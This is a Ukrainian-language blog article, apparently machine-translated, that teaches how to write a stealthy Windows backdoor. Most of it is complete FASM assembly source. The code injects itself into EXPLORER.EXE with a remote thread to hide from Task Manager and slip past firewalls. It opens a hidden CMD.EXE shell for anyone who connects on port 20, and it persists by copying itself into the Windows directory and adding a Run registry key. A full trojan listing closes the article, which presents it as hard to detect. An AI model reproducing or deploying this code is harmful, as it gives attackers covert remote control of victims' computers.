Нові віяння в бекдори, Різне, Security & Hack, статті

slon

Я не хвалюся тим, чого у мене немає, – сказав він,
– І не видаю себе за знавця морської справи та судноплавства

Д. Ф. Купер

 

Якщо не все, то багато зустрічалися з бекдор і троянськими кіньми. Зараз
атрибутом майже кожного троянського коня стала розширена функціональність. І
якщо раніше, коли в основному були поширені операційні системи
Windows 9x, було досить просто приховати процес від очей користувача, то
зараз це стало досить складно. Останнім часом широкого поширення
отримали операційні системи лінійки Windows NT. Дані системи відрізняються
набагато більш серйозним захистом, що відрізняється від захисту Windows 9x на порядки. Більшість користувачів вважає, що від пильного ока Task Managera НЕ
сховається жоден процес. Але це істина лише частково, можливе перехоплення
системної функції, яку використовує Task Manager. Це дозволить підмінити
її результати, наприклад прибрати відомості про один з процесів. Але і це не
всі, можливо інжектування коду в інший процес. Дана техніка вбиває
двох зайців одним ударом. Давайте розберемося з цією технікою детальніше,
крім приховування процесу (по суті, як такого процесу і немає зовсім) дана
техніка дозволяє обійти брандмауер. Яким чином? Досить інжектовано
код в процес, для якого створені політики безпеки і скористатися
даними політиками. Ось наприклад, для Internet Explorer дозволені порти,
десь в районі 30000000. Якщо в нього інжектованих і відкрити порт
скажімо 26384, то firewall покірно промовчить. Але як бути якщо Internet Explorer
не запущений? Не чекати ж нам, поки його запустять. Тому ми інжектіруем наш код
в процес EXPLORER.EXE і відкриємо 20 портів, цей порт для даного процесу
дозволений і зареєстрований як ftp-data. Це канал даних для протоколу передачі
файлів. Тепер давайте перейдемо до практичних аспектів, давайте визначимося,
як ми будемо інжектовано код в наш процес. Я це зробив за допомогою виділення
пам’яті в адресному просторі EXPLORER.EXE і створення віддаленого потоку.
Перше, що потрібно зробити для того, щоб інжектовано код в процес це
відкрити наш процес. А відкривати ми його будемо функцие WIN API
OpenProcess. Цій функції як параметр передається ПІД (PID) відкривається процесу,
ідентифікатор. Щоб дізнатися ПІД процесу існує кілька методів:

1) За допомогою бібліотеки Process Status Helper (PSAPI)
2) За допомогою ToolHelp32 API
3) За допомогою недокументовані функції ZwQuerySystemInformation
4) Через лічильники продуктивності
5) З використанням інтерфейсів Windows Management Instrumentation

Task Manager отримує відомості про процеси від функції
ZwQuerySystemInformation. Ми ж будемо використовувати документовані функції ToolHelp32
API. Для отримання ПІДАЄВ EXPLORER.EXE нам потрібно спочатку зробити знімок системи, і
після цього перебирати процеси (подібно тому, як це робиться з файлами при
допомогою функцій FindFirstFile і FindNextFile).

Розглянемо, як це робиться на прикладі функції на асемблері:

proc find_pid  Шукаємо ПІД
push 0 
push 2  Робимо знімок системи
call [CreateToolhelp32Snapshot]
inc eax 
test eax,eax  Помилка?
jz .exit__  Виходимо
dec eax 
mov [snapshot__],eax  Зберігаємо хендл
mov [p_entry.dwSize],sizeof.PROCESSENTRY32
push p_entry 
push [snapshot__]  Отримуємо інформацію про
call [Process32First]  першому процесі
test eax,eax  Помилка?
jz .exit__  Виходимо
jmp .cmp__  Йдемо на порівняння
.p_next__:
mov [p_entry.dwSize],sizeof.PROCESSENTRY32
push p_entry 
push [snapshot__]  Отримуємо інформацію про
call [Process32Next]  Наступного процесі
test eax,eax  Помилка?
jz .exit__  Виходимо
.cmp__:
push p_entry.szExeFile 
push proga__  Це EXPLORER.EXE?
call [lstrcmp] 
test eax,eax 
jz .find_it__  Так, знайшли
jmp .p_next__  Ні, шукаємо далі
.find_it__:
mov eax,[p_entry.th32ProcessID]
mov [pid],eax  Зберігаємо ПІД
push [snapshot__] 
call [CloseHandle]  Закриваємо хендл
.exit__:
ret  Повернення з підпрограми
endp

Тут і далі в тексті використовується FLAT ASSEMBLER (fasm 1.57), для компіляції
достатньо буде вкласти код в його редактор і натиснути комбінацію клавіш CTRL + F9.

Далі, після отримання ПІДАЄВ процесу потрібно відкрити його, виділити в ньому пам’ять,
записати в пам’ять код і передати на нього управління. Ріхтер у своїй книзі описав
цей метод досить докладно, але він передавав в чуже
адресний простір не код, а ім’я бібліотеки і завантажував її LoadLibrary. Але цей метод нам не
підходить по 2-м причин:

1) Необхідність 2-х файлів *. exe і *. dll, що не дуже зручно (можна було б звичайно їх склеїти а потім “відкусити” *. dll)

2) В адресному просторі була б видна невідома *. dll, а зараз
filrewall’и цього дуже не люблять.

Тепер розглянемо підпрограму інжектування коду в
EXPLORER.EXE:

proc inject_code  Інжектіруем код
push [pid] 
push 0 
push access__  Відкриваємо EXPLORER.EXE
call [OpenProcess] 
test eax,eax  Відкрили?
jz .exit__  Ні, на вихід
mov [process__],eax  Зберігаємо хендл процесу
push PAGE_READWRITE 
push MEM_COMMIT 
push 0x1000  Виділяємо в адресному
push 0  просторі EXPLORER.EXE
push [process__]  тисяча байт пам’яті
call [VirtualAllocEx] 
test eax,eax  Виділили?
jz .exit__  Ні, на вихід
mov [memory__],eax  Зберігаємо хендл пам’яті
push 0 
push 0x1000 
push backdoor_code_  Пишемо в виділену пам’ять
push [memory__]  наш код
push [process__] 
call [WriteProcessMemory] 
dec eax 
test eax,eax  Записали успішно?
jnz .exit__  Ні, на вихід
inc eax  Так, працюємо далі
push 0 
push 0 
push [memory__] 
push [memory__]  Створюємо віддалений потік
push 0  в EXPLORER.EXE
push 0  вказуючи на наш код
push [process__] 
call [CreateRemoteThread] 
.exit__:
push [process__] 
call [CloseHandle]  Закриваємо хендл
ret  Повернення з підпрограми
endp

Але у Ріхтера після інжектування *. dll не виникало ніяких проблем,
бо в *. dll міститься таблиця переміщуються елементів і всі переходи по
ній правляться і працюють. А нам доведеться створити стерпний код, майже як у
вірусу. Але на відміну від вірусу ми можемо дозволити собі просто зберегти в нашій
коді адреси необхідних функцій. Тому як вони переналаштовуються після кожного
запуску програми (завантажувачем), в розділі імпорту.

Розглянемо код, який відповідає за збереження адрес функцій WIN
API:

proc resolve_api  Зберігаємо адреси API
mov eax,[WSAStartup]  Отримуємо адреса функції
mov [wsa_startup],eax  і зберігаємо його в коді
mov eax,[WSASocket]  Отримуємо адреса функції
mov [wsa_socketa],eax  і зберігаємо його в коді
mov eax,[bind]  Отримуємо адреса функції
mov [bind_],eax  і зберігаємо його в коді
mov eax,[listen]  Отримуємо адреса функції
mov [listen_],eax  і зберігаємо його в коді
mov eax,[accept]  Отримуємо адреса функції
mov [accept_],eax  і зберігаємо його в коді
mov eax,[CreateProcess]  Отримуємо адреса функції
mov [create_process_],eax  і зберігаємо його в коді
mov eax,[CloseHandle]  Отримуємо адреса функції
mov [close_handle_],eax  і зберігаємо його в коді
mov eax,[LoadLibrary]  Отримуємо адреса функції
mov [loadlibrary_],eax  і зберігаємо його в коді
mov eax,[closesocket]  Отримуємо адреса функції
mov [close_socket_],eax  і зберігаємо його в коді
ret  Повернення з підпрограми
endp

Тепер перейдемо до реалізації самого інжектіруемих коду, він створюється
наступним чином. Спочатку доступ до всіх використовуваних даних перенастроюється,
через дельта зсув. Самі WIN API функції будуть викликатися наступним чином:

mov eax, Адрес_функціі
call eax

Сам алгоритм бекдор наступний: инициализируем сокети, створюємо сокет,
прив’язуємо його до 20 порту, після цього чекаємо з’єднання. Коли з’єдналися
створюється процес CMD.EXE з перенаправлення вводу і виведенням на сокет, після
завершення процесу закриваємо з’єднання і все повторюємо заново. Це для того,
щоб наш бекдор не вийшов одноразовим.

Розглянемо інжектіруемих код:

backdoor_code_:
call deltax 
deltax: pop ebp  Отримуємо дельта зміщення
sub ebp,deltax 
lea eax,[ebp+ws2_32_2] 
push eax  Завантажуємо бібліотеку
db 0xb8  WS2_32.DLL (на всякий випадок)
loadlibrary_ dd 0  Місце де зберігається адреса
call eax 
lea eax,[ebp+wsadata1] 
push eax 
push 0x101  Викликаємо функцію
db 0xb8   WSAStartup
wsa_startup dd 0 
call eax 
mov [ebp+sin.sin_family],2   AF_INET
mov eax,[ebp+n_port] 
bswap eax  Перетворюємо номер
shr eax,16  порту до мережного увазі
mov [ebp+sin.sin_port],ax  Заповнюємо структуру sin
push 0 
push 0 
push 0 
push 0 
push 1 
push 2 
db 0xb8 
wsa_socketa dd 0  Створюємо сокет
call eax 
mov ebx,eax  Зберігаємо його для
mov [ebp+socket__],eax  подальшого використання
push 16 
lea eax,[ebp+sin] 
push eax 
push ebx 
db 0xb8 
bind_ dd 0  Бінді сокет
call eax 
push 0 
push ebx 
db 0xb8 
listen_ dd 0  Переводимо сокет в слухає
call eax  режим
push 0 
push ecx 
push ebx 
db 0xb8 
accept_ dd 0  Чекаємо з’єднання
call eax 
mov [ebp+handle_],eax  Зберігаємо хендл з’єднання
Заповнюємо структуру
STARTUP_INFO
mov [ebp+s_info.dwFlags],flags__
mov [ebp+s_info.wShowWindow],SW_HIDE
mov [ebp+s_info.hStdInput],eax
mov [ebp+s_info.hStdOutput],eax
mov [ebp+s_info.hStdError],eax
lea eax,[ebp+s_info]  Адреса структури в eax
push eax 
push eax 
xor ecx,ecx 
push ecx 
push ecx 
push ecx 
push 1 
push ecx 
push ecx 
lea eax,[ebp+cmd__] 
push eax  Створюємо процес без вікна
push 0  і з перенаправлення виводу
на
db 0xb8  сокет
create_process_ dd 0  Процес CMD.EXE:)
call eax 
push [ebp+handle_] 
db 0xb8 
close_handle_ dd 0  Закриваємо хендл з’єднання
call eax 
push [ebp+socket__] 
db 0xb8 
close_socket_ dd 0  Закриваємо сокет
call eax 
lea edi,[s_info+ebp] 
mov al,0 
mov ecx,sizeof.STARTUPINFO  Очищаємо структуру
rep stosb   STARTUPINFO
jmp backdoor_code_  І повторюємо все до
нескінченності

Але, як же код запуститься після перезавантаження або після краху
EXPLORER.EXE? Тут, на жаль, я поки що новинками поділитися не можу, все робиться через класику
жанру – запис у реєстрі в ключик автозапуску.

Розглянемо функцію інфікування системи:

proc infect_system  Інфікуючи систему
push 255 
push old_dir 
push 0  Дізнаємося своє ім’я файлу
call [GetModuleFileName]  з якого стартували
push 255 
push win_dir  Отримуємо ім’я директорії
call [GetWindowsDirectory]   Windows
mov edx,win_dir 
mov dword [edx+eax],’\mem’  Формуємо рядок з повним
mov dword [edx+eax+4],’srvc’ шляхом до Windows
mov dword [edx+eax+8],’.exe’ і ім’ям файлу
push 0 
push win_dir 
push old_dir  Копіюємо себе в Windows
call [CopyFile]  директорію
xor eax,eax 
push tmp 
push h_key 
push eax 
push 3 
push eax 
push eax 
push eax  Відкриваємо ключ реєстру
push reg__  відповідає за автозавантаження
push 80000002h 
call [RegCreateKeyEx] 
push 256 
push win_dir 
push 1 
push 0 
push reg2__  Встановлюємо значення
push [h_key]  в цьому ключі на нашу
call [RegSetValueEx]  програму
push [h_key] 
call [RegCloseKey]  Закриваємо ключ
ret  Повернення з підпрограми
endp

Потрібно зауважити, що даний бекдор на деяких версіях Windows 2000 спрацьовує,
по всій видимості через перенаправлення вводу та виводу на сокет.

Далі йде повний лістинг троянського коня, якого достатньо складно
виявити.

;%%%%%%%%%%%%%%%%%%%%%%%;
; WIN(XP/2k3).BACKDOOR.ABYRVALG V. 0.1 
; (X) 2005 СЛОН http://sl0n.dzena.net;

; (+) Не видно в списку завдань;
; (+) Обходить брандмауери;
; (+) Прописується в регістрі і поселяється в директорії Windows;
; (+) Відкриває CMD.EXE на 20 порту з процесу EXPLORER.EXE;
;%%%%%%%%%%%%%%%%%%%%%%%;

include ‘%fasminc%/win32ax.inc’ 
include ‘struct.inc’ 
.data 
start:
call infect_system  Інфікуючи систему
call resolve_api  Зберігаємо адреси API
call find_pid  Шукаємо ПІД
call inject_code  Інжектіруем код
push 0 
call [ExitProcess]  Завершення програми
proc infect_system  Інфікуючи систему
push 255 
push old_dir 
push 0  Дізнаємося своє ім’я файлу
call [GetModuleFileName]  з якого стартували
push 255 
push win_dir  Отримуємо ім’я директорії
call [GetWindowsDirectory]   Windows
mov edx,win_dir 
mov dword [edx+eax],’\mem’  Формуємо рядок з повним
mov dword [edx+eax+4],’srvc’ шляхом до Windows
mov dword [edx+eax+8],’.exe’ і ім’ям файлу
push 0 
push win_dir 
push old_dir  Копіюємо себе в Windows
call [CopyFile]  директорію
xor eax,eax 
push tmp 
push h_key 
push eax 
push 3 
push eax 
push eax 
push eax  Відкриваємо ключ реєстру
push reg__  відповідає за автозавантаження
push 80000002h 
call [RegCreateKeyEx] 
push 256 
push win_dir 
push 1 
push 0 
push reg2__  Встановлюємо значення
push [h_key]  в цьому ключі на нашу
call [RegSetValueEx]  програму
push [h_key] 
call [RegCloseKey]  Закриваємо ключ
ret  Повернення з підпрограми
endp
proc resolve_api  Зберігаємо адреси API
mov eax,[WSAStartup]  Отримуємо адреса функції
mov [wsa_startup],eax  і зберігаємо його в коді
mov eax,[WSASocket]  Отримуємо адреса функції
mov [wsa_socketa],eax  і зберігаємо його в коді
mov eax,[bind]  Отримуємо адреса функції
mov [bind_],eax  і зберігаємо його в коді
mov eax,[listen]  Отримуємо адреса функції
mov [listen_],eax  і зберігаємо його в коді
mov eax,[accept]  Отримуємо адреса функції
mov [accept_],eax  і зберігаємо його в коді
mov eax,[CreateProcess]  Отримуємо адреса функції
mov [create_process_],eax  і зберігаємо його в коді
mov eax,[CloseHandle]  Отримуємо адреса функції
mov [close_handle_],eax  і зберігаємо його в коді
mov eax,[LoadLibrary]  Отримуємо адреса функції
mov [loadlibrary_],eax  і зберігаємо його в коді
mov eax,[closesocket]  Отримуємо адреса функції
mov [close_socket_],eax  і зберігаємо його в коді
ret  Повернення з підпрограми
endp
proc find_pid  Шукаємо ПІД
push 0 
push 2  Робимо знімок системи
call [CreateToolhelp32Snapshot]
inc eax 
test eax,eax  Помилка?
jz .exit__  Виходимо
dec eax 
mov [snapshot__],eax  Зберігаємо хендл
mov [p_entry.dwSize],
sizeof.PROCESSENTRY32
push p_entry 
push [snapshot__]  Отримуємо інформацію про
call [Process32First]  першому процесі
test eax,eax  Помилка?
jz .exit__  Виходимо
jmp .cmp__  Йдемо на порівняння
.p_next__:
mov [p_entry.dwSize],
sizeof.PROCESSENTRY32
push p_entry 
push [snapshot__]  Отримуємо інформацію про
call [Process32Next]  Наступного процесі
test eax,eax  Помилка?
jz .exit__  Виходимо
.cmp__:
push p_entry.szExeFile 
push proga__  Це EXPLORER.EXE?
call [lstrcmp] 
test eax,eax 
jz .find_it__  Так, знайшли
jmp .p_next__  Ні, шукаємо далі
.find_it__:
mov eax,[p_entry.th32ProcessID]
mov [pid],eax  Зберігаємо ПІД
push [snapshot__] 
call [CloseHandle]  Закриваємо хендл
.exit__:
ret  Повернення з підпрограми
endp
proc inject_code  Інжектіруем код
push [pid] 
push 0 
push access__  Відкриваємо EXPLORER.EXE
call [OpenProcess] 
test eax,eax  Відкрили?
jz .exit__  Ні, на вихід
mov [process__],eax  Зберігаємо хендл процесу
push PAGE_READWRITE 
push MEM_COMMIT 
push 0x1000  Виділяємо в адресної
push 0  просторі EXPLORER.EXE
push [process__]  тисяча байт пам’яті
call [VirtualAllocEx] 
test eax,eax  Виділили?
jz .exit__  Ні, на вихід
mov [memory__],eax  Зберігаємо хендл пам’яті
push 0 
push 0x1000 
push backdoor_code_  Пишемо в виділену пам’ять
push [memory__]  наш код
push [process__] 
call [WriteProcessMemory] 
dec eax 
test eax,eax  Записали успішно?
jnz .exit__  Ні, на вихід
inc eax  Так, працюємо далі
push 0 
push 0 
push [memory__] 
push [memory__]  Створюємо віддалений потік
push 0  в EXPLORER.EXE
push 0  вказуючи на наш код
push [process__] 
call [CreateRemoteThread] 
.exit__:
push [process__] 
call [CloseHandle]  Закриваємо хендл
ret  Повернення з підпрограми
endp
backdoor_code_:
call deltax 
deltax: pop ebp  Отримуємо дельта зміщення
sub ebp,deltax 
lea eax,[ebp+ws2_32_2] 
push eax  Завантажуємо бібліотеку
db 0xb8  WS2_32.DLL (на всякий випадок)
loadlibrary_ dd 0  Місце де зберігається адреса
call eax 
lea eax,[ebp+wsadata1] 
push eax 
push 0x101  Викликаємо функцію
db 0xb8   WSAStartup
wsa_startup dd 0 
call eax 
mov [ebp+sin.sin_family],2   AF_INET
mov eax,[ebp+n_port] 
bswap eax  Перетворюємо номер
shr eax,16  порту до мережного увазі
mov [ebp+sin.sin_port],ax  Заповнюємо структуру sin
push 0 
push 0 
push 0 
push 0 
push 1 
push 2 
db 0xb8 
wsa_socketa dd 0  Створюємо сокет
call eax 
mov ebx,eax  Зберігаємо його для
mov [ebp+socket__],eax  подальшого використання
push 16 
lea eax,[ebp+sin] 
push eax 
push ebx 
db 0xb8 
bind_ dd 0  Бінді сокет
call eax 
push 0 
push ebx 
db 0xb8 
listen_ dd 0  Переводимо сокет в слухає
call eax  режим
push 0 
push ecx 
push ebx 
db 0xb8 
accept_ dd 0  Чекаємо з’єднання
call eax 
mov [ebp+handle_],eax  Зберігаємо хендл з’єднання
Заповнюємо структуру
STARTUP_INFO
mov [ebp+s_info.dwFlags],flags__
mov [ebp+s_info.wShowWindow],
SW_HIDE
mov [ebp+s_info.hStdInput],eax
mov [ebp+s_info.hStdOutput],eax
mov [ebp+s_info.hStdError],eax
lea eax,[ebp+s_info]  Адреса структури в eax
push eax 
push eax 
xor ecx,ecx 
push ecx 
push ecx 
push ecx 
push 1 
push ecx 
push ecx 
lea eax,[ebp+cmd__] 
push eax  Створюємо процес без вікна
push 0  і з перенаправлення виводу
на
db 0xb8  сокет
create_process_ dd 0  Процес CMD.EXE:)
call eax 
push [ebp+handle_] 
db 0xb8 
close_handle_ dd 0  Закриваємо хендл з’єднання
call eax 
push [ebp+socket__] 
db 0xb8 
close_socket_ dd 0  Закриваємо сокет
call eax 
lea edi,[s_info+ebp] 
mov al,0 
mov ecx,sizeof.STARTUPINFO  Очищаємо структуру
rep stosb   STARTUPINFO
jmp backdoor_code_  І повторюємо все до
нескінченності
wsadata1 WSADATA 
sin sockaddr_in 
handle_ dd 0 
mhandle2 dd 0 
s_info STARTUPINFO  Тут зберігаються дані
cmd__ db ‘cmd’,0 
socket__ dd 0 
ws2_32_2 db ‘ws2_32.dll’,0 
n_port dd 20 
backdoor_end:
access__ = PROCESS_VM_OPERATION + 
PROCESS_VM_WRITE + PROCESS_CREATE_THREAD
flags__ = STARTF_USESTDHANDLES+
STARTF_USESHOWWINDOW
process__ dd ? 
memory__ dd ? 
thread__ dd ? 
snapshot__ dd ?  Тут теж дані:)
p_entry PROCESSENTRY32 
proga__ db ‘EXPLORER.EXE’,0 
pid dd 0 
tmp dd 0 
h_key dd 0 
win_dir: times 255 db 0
old_dir: times 255 db 0
reg__:
db ‘SOFTWARE\Microsoft\Windows
\CurrentVersion\Run’,0
reg2__:
db ‘MemSrvc’,0 
.end start

Програми даного класу, отримали широке поширення не тільки у хакерів,
але й у системних адміністраторів, які незримо стежать за недбайливими
користувачами. Так само, деякі різновиди програм цього роду зустрічаються
в Інтернет кафе. Тому, щоб не попастися під “гарячу” руку вашому системному
адміністратору, оновлюйте якомога частіше ваші firewall і антивіруси.

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*